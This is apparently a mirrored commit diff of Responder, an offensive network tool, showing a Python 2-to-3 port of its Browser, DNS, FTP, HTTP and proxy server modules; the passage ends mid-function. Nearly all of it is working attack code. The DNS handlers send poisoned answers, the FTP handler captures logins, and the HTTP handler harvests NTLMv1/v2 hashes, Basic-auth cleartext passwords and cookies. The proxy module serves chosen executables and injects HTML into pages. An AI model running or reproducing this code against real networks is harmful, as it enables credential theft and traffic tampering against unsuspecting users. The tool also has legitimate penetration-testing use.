mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 21:03:33 -07:00
Added py3 and py2 compatibility + many bugfix
This commit is contained in:
lgandx
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
|
|
@ -14,40 +14,43 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
import struct
|
||||
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
return {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x0A" :"Windows 98",
|
||||
"\x04\x5A" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x01" :"Windows XP",
|
||||
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
"\x06\x02" :"Windows 8/Server 2012",
|
||||
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||
"\x0A\x00" :"Windows 10/Server 2016",
|
||||
b"\x04\x00" :"Windows 95",
|
||||
b"\x04\x0A" :"Windows 98",
|
||||
b"\x04\x5A" :"Windows ME",
|
||||
b"\x05\x00" :"Windows 2000",
|
||||
b"\x05\x01" :"Windows XP",
|
||||
b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
|
||||
b"\x06\x00" :"Windows Vista/Server 2008",
|
||||
b"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
b"\x06\x02" :"Windows 8/Server 2012",
|
||||
b"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||
b"\x0A\x00" :"Windows 10/Server 2016",
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
|
||||
def RequestType(data):
|
||||
return {
|
||||
"\x01": 'Host Announcement',
|
||||
"\x02": 'Request Announcement',
|
||||
"\x08": 'Browser Election',
|
||||
"\x09": 'Get Backup List Request',
|
||||
"\x0a": 'Get Backup List Response',
|
||||
"\x0b": 'Become Backup Browser',
|
||||
"\x0c": 'Domain/Workgroup Announcement',
|
||||
"\x0d": 'Master Announcement',
|
||||
"\x0e": 'Reset Browser State Announcement',
|
||||
"\x0f": 'Local Master Announcement',
|
||||
b"\x01": 'Host Announcement',
|
||||
b"\x02": 'Request Announcement',
|
||||
b"\x08": 'Browser Election',
|
||||
b"\x09": 'Get Backup List Request',
|
||||
b"\x0a": 'Get Backup List Response',
|
||||
b"\x0b": 'Become Backup Browser',
|
||||
b"\x0c": 'Domain/Workgroup Announcement',
|
||||
b"\x0d": 'Master Announcement',
|
||||
b"\x0e": 'Reset Browser State Announcement',
|
||||
b"\x0f": 'Local Master Announcement',
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
|
||||
|
|
@ -55,13 +58,13 @@ def PrintServerName(data, entries):
|
|||
if entries <= 0:
|
||||
return None
|
||||
entrieslen = 26 * entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen//entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
|
||||
l = []
|
||||
for x in ServerName:
|
||||
fingerprint = WorkstationFingerPrint(x[16:18])
|
||||
name = x[:16].replace('\x00', '')
|
||||
name = x[:16].strip(b'\x00').decode('latin-1')
|
||||
l.append('%s (%s)' % (name, fingerprint))
|
||||
return l
|
||||
|
||||
|
|
@ -70,24 +73,24 @@ def ParsePacket(Payload):
|
|||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||
|
||||
if StatusCode == "\x00\x00":
|
||||
if StatusCode == b'\x00\x00':
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return None
|
||||
return ''
|
||||
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
||||
print(text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)))
|
||||
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
||||
print(text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))))
|
||||
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
if WKST is not None:
|
||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
print(text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))))
|
||||
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
|
|
@ -101,49 +104,49 @@ def RapFinger(Host, Domain, Type):
|
|||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)#struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = s.recv(1024)
|
||||
|
||||
# Session Setup AndX Request, Anonymous.
|
||||
if data[8:10] == "\x72\x00":
|
||||
if data[8:10] == b'\x72\x00':
|
||||
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||
Body = SMBSessionData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
|
||||
s.send(Buffer)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = s.recv(1024)
|
||||
|
||||
# Tree Connect IPC$.
|
||||
if data[8:10] == "\x73\x00":
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
||||
if data[8:10] == b'\x73\x00':
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34].decode('latin-1'),mid="\x03\x00")
|
||||
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
|
||||
s.send(Buffer)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = s.recv(1024)
|
||||
|
||||
# Rap ServerEnum.
|
||||
if data[8:10] == "\x75\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
||||
if data[8:10] == b'\x75\x00':
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x04\x00")
|
||||
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
|
||||
s.send(Buffer)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = s.recv(64736)
|
||||
|
||||
# Rap ServerEnum, Get answer and return what we're looking for.
|
||||
if data[8:10] == "\x25\x00":
|
||||
if data[8:10] == b'\x25\x00':
|
||||
s.close()
|
||||
return ParsePacket(data)
|
||||
except:
|
||||
|
|
@ -162,8 +165,10 @@ def BecomeBackup(data,Client):
|
|||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
|
@ -177,8 +182,10 @@ def ParseDatagramNBTNames(data,Client):
|
|||
|
||||
|
||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
|
@ -189,7 +196,7 @@ class Browser(BaseRequestHandler):
|
|||
request, socket = self.request
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
ParseDatagramNBTNames(NetworkRecvBufferPython2or3(request),self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
|
|
|
|||
|
|
@ -14,9 +14,12 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from packets import DNS_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
from packets import DNS_Ans
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
|
|
@ -34,14 +37,12 @@ class DNS(BaseRequestHandler):
|
|||
|
||||
try:
|
||||
data, soc = self.request
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
|
||||
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
|
@ -55,14 +56,12 @@ class DNSTCP(BaseRequestHandler):
|
|||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -15,27 +15,31 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import FTPPacket
|
||||
|
||||
class FTP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
self.request.send(NetworkSendBufferPython2or3(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].strip()
|
||||
if data[0:4] == b'USER':
|
||||
User = data[5:].strip().decode("latin-1")
|
||||
|
||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(Packet))
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].strip()
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip().decode("latin-1")
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(Packet))
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
SaveToDb({
|
||||
|
|
@ -49,7 +53,7 @@ class FTP(BaseRequestHandler):
|
|||
|
||||
else:
|
||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(Packet))
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
|
|
|
|||
114
servers/HTTP.py
114
servers/HTTP.py
|
|
@ -15,10 +15,13 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode
|
||||
import codecs
|
||||
from utils import *
|
||||
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode, b64encode
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
|
@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
|||
def ParseHTTPHash(data, Challenge, client, module):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen]
|
||||
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
|
||||
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': User,
|
||||
'hash': LMHash+":"+NTHash,
|
||||
'hash': LMHashFinal+':'+NTHashFinal,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
|
@ -57,19 +61,18 @@ def ParseHTTPHash(data, Challenge, client, module):
|
|||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
||||
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
|
||||
SaveToDb({
|
||||
'module': module,
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain + '\\' + User,
|
||||
'hash': NTHash[:32] + ":" + NTHash[32:],
|
||||
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
|
|
@ -79,7 +82,7 @@ def GrabCookie(data, host):
|
|||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
print(text("[HTTP] Cookie : %s " % Cookie))
|
||||
return Cookie
|
||||
return False
|
||||
|
||||
|
|
@ -89,7 +92,7 @@ def GrabHost(data, host):
|
|||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
||||
return Host
|
||||
return False
|
||||
|
||||
|
|
@ -99,21 +102,21 @@ def GrabReferer(data, host):
|
|||
if Referer:
|
||||
Referer = Referer.group(0).replace('Referer: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
||||
print(text("[HTTP] Referer : %s " % color(Referer, 3)))
|
||||
return Referer
|
||||
return False
|
||||
|
||||
def SpotFirefox(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
|
||||
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
|
||||
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
|
|
@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None):
|
|||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||
|
||||
Buffer.calculate()
|
||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
||||
print(text("[HTTP] Sending file %s to %s" % (filename, client)))
|
||||
return str(Buffer)
|
||||
|
||||
def GrabURL(data, host):
|
||||
|
|
@ -164,13 +167,13 @@ def GrabURL(data, host):
|
|||
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET and settings.Config.Verbose:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||
print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))))
|
||||
|
||||
if POST and settings.Config.Verbose:
|
||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
||||
print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))))
|
||||
|
||||
if len(''.join(POSTDATA)) > 2:
|
||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()))
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client, Challenge):
|
||||
|
|
@ -187,40 +190,40 @@ def PacketSequence(data, client, Challenge):
|
|||
|
||||
WPAD_Custom = WpadCustom(data, client)
|
||||
# Webdav
|
||||
if ServeOPTIONS(data):
|
||||
return ServeOPTIONS(data)
|
||||
if ServeOPTIONS(data):
|
||||
return ServeOPTIONS(data)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == "\x01":
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
return str(Buffer_Ans)
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
#Buffer_Ans.calculate(Buffer)
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
if Packet_NTLM == b'\x03':
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
if IsWebDAV(data):
|
||||
if IsWebDAV(data):
|
||||
module = "WebDAV"
|
||||
else:
|
||||
else:
|
||||
module = "HTTP"
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
return NetworkSendBufferPython2or3(Buffer)
|
||||
|
||||
elif Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
|
@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge):
|
|||
'module': 'HTTP',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.split(':')[0],
|
||||
'cleartext': ClearText_Auth.split(':')[1],
|
||||
})
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
})
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
return NetworkSendBufferPython2or3(Buffer)
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
|
||||
|
||||
return str(Response)
|
||||
return Response
|
||||
|
||||
# HTTP Server class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
|
@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler):
|
|||
def handle(self):
|
||||
try:
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
while True:
|
||||
self.request.settimeout(3)
|
||||
remaining = 10*1024*1024 #setting max recieve size
|
||||
data = ''
|
||||
while True:
|
||||
buff = ''
|
||||
buff = self.request.recv(8092)
|
||||
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||
if buff == '':
|
||||
break
|
||||
data += buff
|
||||
|
|
@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler):
|
|||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
self.request.close()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
except socket.error:
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -14,13 +14,18 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import urlparse
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
import urllib.parse as urlparse
|
||||
import http.server as BaseHTTPServer
|
||||
else:
|
||||
import urlparse
|
||||
import BaseHTTPServer
|
||||
|
||||
import select
|
||||
import zlib
|
||||
import BaseHTTPServer
|
||||
|
||||
from servers.HTTP import RespondWithFile
|
||||
from utils import *
|
||||
|
||||
|
||||
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
|
||||
|
||||
|
|
@ -34,9 +39,9 @@ def InjectData(data, client, req_uri):
|
|||
if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
|
||||
|
||||
if len(data.split('\r\n\r\n')) > 1:
|
||||
if len(data.split(b'\r\n\r\n')) > 1:
|
||||
try:
|
||||
Headers, Content = data.split('\r\n\r\n')
|
||||
Headers, Content = data.split(b'\r\n\r\n')
|
||||
except:
|
||||
return data
|
||||
|
||||
|
|
@ -44,30 +49,34 @@ def InjectData(data, client, req_uri):
|
|||
if set(RedirectCodes) & set(Headers):
|
||||
return data
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
|
||||
if b'content-encoding: gzip' in Headers.lower():
|
||||
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||
|
||||
if "content-type: text/html" in Headers.lower():
|
||||
if b'content-type: text/html' in Headers.lower():
|
||||
